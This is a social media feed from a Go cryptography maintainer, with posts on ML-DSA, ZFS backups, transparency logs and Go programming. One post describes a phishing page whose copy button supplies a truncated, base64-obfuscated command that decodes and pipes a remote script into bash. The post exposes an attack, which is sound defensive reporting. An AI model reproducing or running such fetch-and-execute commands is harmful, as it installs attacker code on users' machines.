Filippo Valsorda
banner
filippo.abyssdomain.expert
Filippo Valsorda
@filippo.abyssdomain.expert
RC F'13, F2'17
Cryptogopher / Go cryptography maintainer
Professional open source maintainer
https://filippo.io / https://github.com/FiloSottile
https://mkcert.dev / https://age-encryption.org
https://sunlight.dev / https://filippo.io/newsletter
November 9, 2025 at 10:50 AM
November 9, 2025 at 10:47 AM
Oooh interesting, there is no form at the bottom of the page for me, maybe because I am outside of the US right now.
November 7, 2025 at 8:23 PM
As a final side-product of the new Go ML-DSA implementation, here is a set of messages that when signed cause a statistically representative distribution of rejections, allowing accurate benchmarking. github.com/C2SP/CCTV/tr...

This is the same technique as words.filippo.io/rsa-keygen-b....
November 5, 2025 at 12:57 AM
Aaaaaaaaa I found the bug that was causing ML-DSA signature generation to spin forever.

Now I want to go back on the livestream recording to find how I generated the wrong constants. I blame Python.
October 30, 2025 at 12:33 PM
Also, Go can be bootstrapped on multiple operating systems and architectures, from multiple C compilers, all the way to perfectly reproducible toolchain tarballs, and Source Spotter is automatically checking!
October 27, 2025 at 1:07 PM
Finished work and found the gophers have finished their game and pulled out my copy of @theonion.com. Fair enough.
September 10, 2025 at 7:27 PM
Woke up this morning to find my gophers playing Go. Huh.
September 10, 2025 at 11:19 AM
On Lobsters an unpleasant-but-technically-correct user finally got banned, and I realized that an unpopular opinion of mine is that mods are always right.

I don't care about the letter of the CoC or about transparency, even. Moderation is the human and nuanced job that shapes a community.
August 31, 2025 at 1:54 PM
My webmail handles that differently, so I was stabbing a bit in the dark, but I tweaked it and re-sent it to you, could you check if it's better?

(And thank you! ✨)
August 14, 2025 at 12:15 PM
lol Python is so useless

This programming thing is clearly a bubble.
August 8, 2025 at 11:01 AM
☕️ 🚓 🔥 🇫🇷 🐳 ✨ 🎣 👀
July 31, 2025 at 5:10 PM
I made a zero-maintenance way to keep a backup of your PDS repository in case you ever need to do an adversarial migration.

github.com/FiloSottile/...

A template that sets up a daily GitHub Actions backup with goat.

Based on git-scraper-template by @simonwillison.net.
July 29, 2025 at 12:08 AM
I want to set up append-only backups with ZFS, like ruderich.org/simon/notes/....

However, this part of zfs-receive.8 makes it sound like a compromised sender could cause snapshots to be deleted on the recipient.

Does ZFS replication unavoidably trust the sender?
July 21, 2025 at 11:36 AM
This is pretty well executed phishing.

The Copy button copies to the clipboard

echo "Y3Vy[...]ggJg==" | base64 -d | bash

which in turn curls this script gist.github.com/FiloSottile/... into bash.

They even detect piping, so to read it you have to run "curl | cat".
July 17, 2025 at 11:00 AM
Well, I implemented a Merkle PATRICIA Trie in SQLite.

No, not on top of SQLite. In SQLite.

WITH RECURSIVE plus WITHOUT ROWID plus a small app-defined function.

Might be time to stop.

(This is for a very cool verifiable transparency log indexing thing.)
June 5, 2025 at 10:58 PM
Had fun recording a @fallthrough.fm episode yesterday with @cpu.xkeyscore.club, chatting about Geomys and open source maintenance.

I appreciated the forced opportunity to give an overdue update on how we're doing. In short, it has been sustainably chugging along, working exactly as intended!
May 23, 2025 at 8:01 PM
Made a little web server to unlock and mount encrypted ZFS datasets using passkeys and age.

What's neat is that the password never touches the client! Attackers need to compromise *first* the server, and *then* the passkey.

It's delightfully little code. https://github.com/FiloSottile/mostly-harml
May 10, 2025 at 10:15 PM
Very excited to submit the Tuscolo Certificate Transparency logs for inclusion today! 🧾🪵☀️

These logs are Sunlight-based, and operated by Geomys and Port 179 LTD on bare metal. They cost 50 times less than RFC 6962 logs in the cloud.

https://groups.google.com/a/chromium.org/g/ct-policy/c/KCzYEIIZSx
May 9, 2025 at 4:36 PM
Why is the latest version of uBlock Origin Lite asking permission to access all websites now?

I love uBO Lite precisely because it doesn't make me trust an extension developer with all my browser security...

(Let's not re-debate MV3 unnecessarily please. Will block.)
April 17, 2025 at 5:34 PM
Y’all they’re playing Shakespeare’s Julius Caesar IN THE ACTUAL SPOT WHERE HE WAS MURDERED. Apparently for the first time. Great omen.
March 15, 2025 at 6:17 PM
Hah, with all the FIPS 140 work of Go 1.24 I ended up the contributor with the most commits to the Go repository in the last 12 months.

I wonder if it's the first time it's a non-Googler.

(This is all for fun, commit count is not much of a metric, although they are all individually code reviewed.)
March 5, 2025 at 3:33 PM
Hrm… this sounds extremely disruptive. Often when I have a conflict I’m halfway through rebasing a stack.

I get why you can’t target it for a broadly useful product, but jj’s way to handle conflicts would work so well with a LLM tool.
January 30, 2025 at 9:28 AM
Oh thank goodness. Never been more relieved of getting a talk rejected.

There was no way to deliver a good talk on this without making enemies 😅
January 24, 2025 at 10:54 AM
weak.Pointer (Go 1.24+), runtime.AddCleanup (Go 1.24+), and sync.Map combine wonderfully into a 20-lines weak map. #golang

It associates values to keys, with automatic garbage collection once the key becomes unreachable. Using it to tie precomputed FIPS keys to PrivateKey values we can't modify.
January 23, 2025 at 1:42 PM